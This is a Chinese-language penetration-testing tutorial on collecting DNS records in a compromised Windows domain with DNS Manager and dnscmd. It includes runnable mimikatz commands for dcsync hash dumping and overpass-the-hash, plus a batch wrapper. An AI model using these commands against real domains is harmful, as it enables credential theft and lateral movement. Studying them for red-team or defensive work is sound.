域滲透——DNS記錄的獲取
0x00 前言
在域滲透中,對(duì)域環(huán)境的信息搜集很關(guān)鍵,如果我們獲得了域內(nèi)管理員的權(quán)限,那么如何能夠快速了解域內(nèi)的網(wǎng)絡(luò)架構(gòu)呢?DNS記錄無(wú)疑是一個(gè)很好的參考。
本文將要介紹在域滲透中,獲取DNS記錄的常用方法。
0x01 簡(jiǎn)介
本文將要介紹以下內(nèi)容:
- 通過(guò)DNS Manager獲取DNS記錄
- 通過(guò)dnscmd獲取DNS記錄
- 域內(nèi)遠(yuǎn)程讀取DNS記錄的方法
0x02 通過(guò)DNS Manager獲取DNS記錄
測(cè)試系統(tǒng):
- Windows Server 2008 R2 x64
選擇Administrative Tools -> DNS。
在Forward Lookup Zones下找到當(dāng)前域名,能夠顯示當(dāng)前域內(nèi)的DNS記錄,包括主機(jī)名和對(duì)應(yīng)的IP。
如下圖:
0x03 通過(guò)dnscmd獲取DNS記錄
dnscmd:
用來(lái)管理DNS服務(wù)器的命令行接口,支持遠(yuǎn)程連接。
默認(rèn)安裝的系統(tǒng):
- Windows Server 2003
- Windows Server 2008
- Windows Server 2003 R2
- Windows Server 2008 R2
- Windows Server 2012
- Windows Server 2003 with SP1
...
參考資料:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772069(v=ws.11)
Win7系統(tǒng)在使用時(shí)需要安裝Remote Server Administration Tools (RSAT)
參考地址:
https://support.microsoft.com/en-us/help/2693643/remote-server-administration-tools-rsat-for-windows-operating-systems
RSAT下載地址:
https://www.microsoft.com/en-us/download/details.aspx?id=7887
測(cè)試系統(tǒng):
- · Windows Server 2008 R2 x64
常用命令:
(1)列出DNS區(qū)域中當(dāng)前節(jié)點(diǎn)的資源記錄:
- Dnscmd . /EnumZones
如下圖:
(2)列出test.com的信息:
- Dnscmd . /ZoneInfo test.com
如下圖:
(3)列舉test.com中的記錄,方法1(更詳細(xì)):
- Dnscmd . /ZonePrint test.com
如下圖:
(4)列舉testc.com的記錄,方法2:
- Dnscmd . /EnumRecords test.com .
如下圖:
結(jié)果同DNS Manager獲取的記錄一致。
0x04 域內(nèi)遠(yuǎn)程讀取DNS記錄的方法
方法分析
前提需要獲得域管理員的權(quán)限。
第一種方法是先遠(yuǎn)程連接域控制器,然后在域控制器上執(zhí)行dnscmd獲取DNS記錄。
第二種方法是在域內(nèi)一臺(tái)主機(jī)上面,執(zhí)行dnscmd遠(yuǎn)程讀取DNS記錄。
但是Win7系統(tǒng)默認(rèn)不支持dnscmd,直接安裝Remote Server Administration Tools (RSAT)也不現(xiàn)實(shí)。
于是,我嘗試尋找在未安裝Remote Server Administration Tools (RSAT)的系統(tǒng)上執(zhí)行dnscmd的方法。
方法測(cè)試
向未安裝Remote Server Administration Tools (RSAT)的Win7系統(tǒng)上復(fù)制一個(gè)dnscmd.exe,直接執(zhí)行,結(jié)果失敗。
解決方法
通過(guò)Process Monitor記錄dnscmd的執(zhí)行過(guò)程,查看缺少哪些文件。
如下圖:
發(fā)現(xiàn)缺少文件dnscmd.exe.mui。
補(bǔ)全缺少的文件,再次測(cè)試,最終找到解決方法。
在未安裝Remote Server Administration Tools (RSAT)的系統(tǒng)上執(zhí)行dnscmd,需要滿足以下條件:
1、dnscmd保存在路徑C:\Windows\System32下
2、dnscmd.exe.mui保存在C:\Windows\System32\en-US下(該位置比較通用,也可以在其他位置)
注:dnscmd和dnscmd.exe.mui使用Windows Server 2008 R2下的即可。
這里提供一個(gè)測(cè)試文件(我從Windows Server 2008 R2下獲得的):
https://github.com/3gstudent/test/dnscmd.exe
https://github.com/3gstudent/test/dnscmd.exe.mui
注:
僅供測(cè)試。
由于dnscmd在遠(yuǎn)程連接時(shí),未提供輸入用戶名和口令的接口,這里需要借助mimikatz的Overpass-the-hash。
首先需要獲得域管理員用戶的hash,這里只能用ntlm/rc4/aes128/aes256
如果獲得了域管理員用戶的明文口令,可以先將明文轉(zhuǎn)為ntlm,在線加密的網(wǎng)站:
https://md5decrypt.net/en/Ntlm/
補(bǔ)充:使用dcsync獲得域內(nèi)所有用戶hash的方法。
域控制器上執(zhí)行mimikatz:
- mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.local /all /csv exit"
實(shí)際測(cè)試
測(cè)試環(huán)境的參數(shù)如下:
- 域管理員用戶:Administrator
- 口令:DomainAdmin456!
- hash:A55E0720F0041193632A58E007624B40
Overpass-the-hash:
- mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40"
這樣會(huì)彈出一個(gè)cmd.exe
接著使用dnscmd遠(yuǎn)程連接進(jìn)行查詢:
- Dnscmd WIN-F08C969D7FM.test.com /EnumZones
or
- Dnscmd WIN-F08C969D7FM /EnumZones
注:這里要使用FQDN或者計(jì)算機(jī)名。
如下圖:
如果想在命令行下實(shí)現(xiàn)整個(gè)流程,可以采用如下方法:
新建c:\test\1.bat,內(nèi)容如下:
- Dnscmd WIN-F08C969D7FM.test.com /EnumZones > c:\test\out.txt
Overpass-the-hash:
- mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40 /run:\"cmd.exe /c c:\test\1.bat\""
注:cmd.exe下"需要使用轉(zhuǎn)義字符\"
0x05 小結(jié)
本文介紹了在域內(nèi)使用Overpass-the-hash實(shí)現(xiàn)dnscmd遠(yuǎn)程讀取DNS記錄的方法。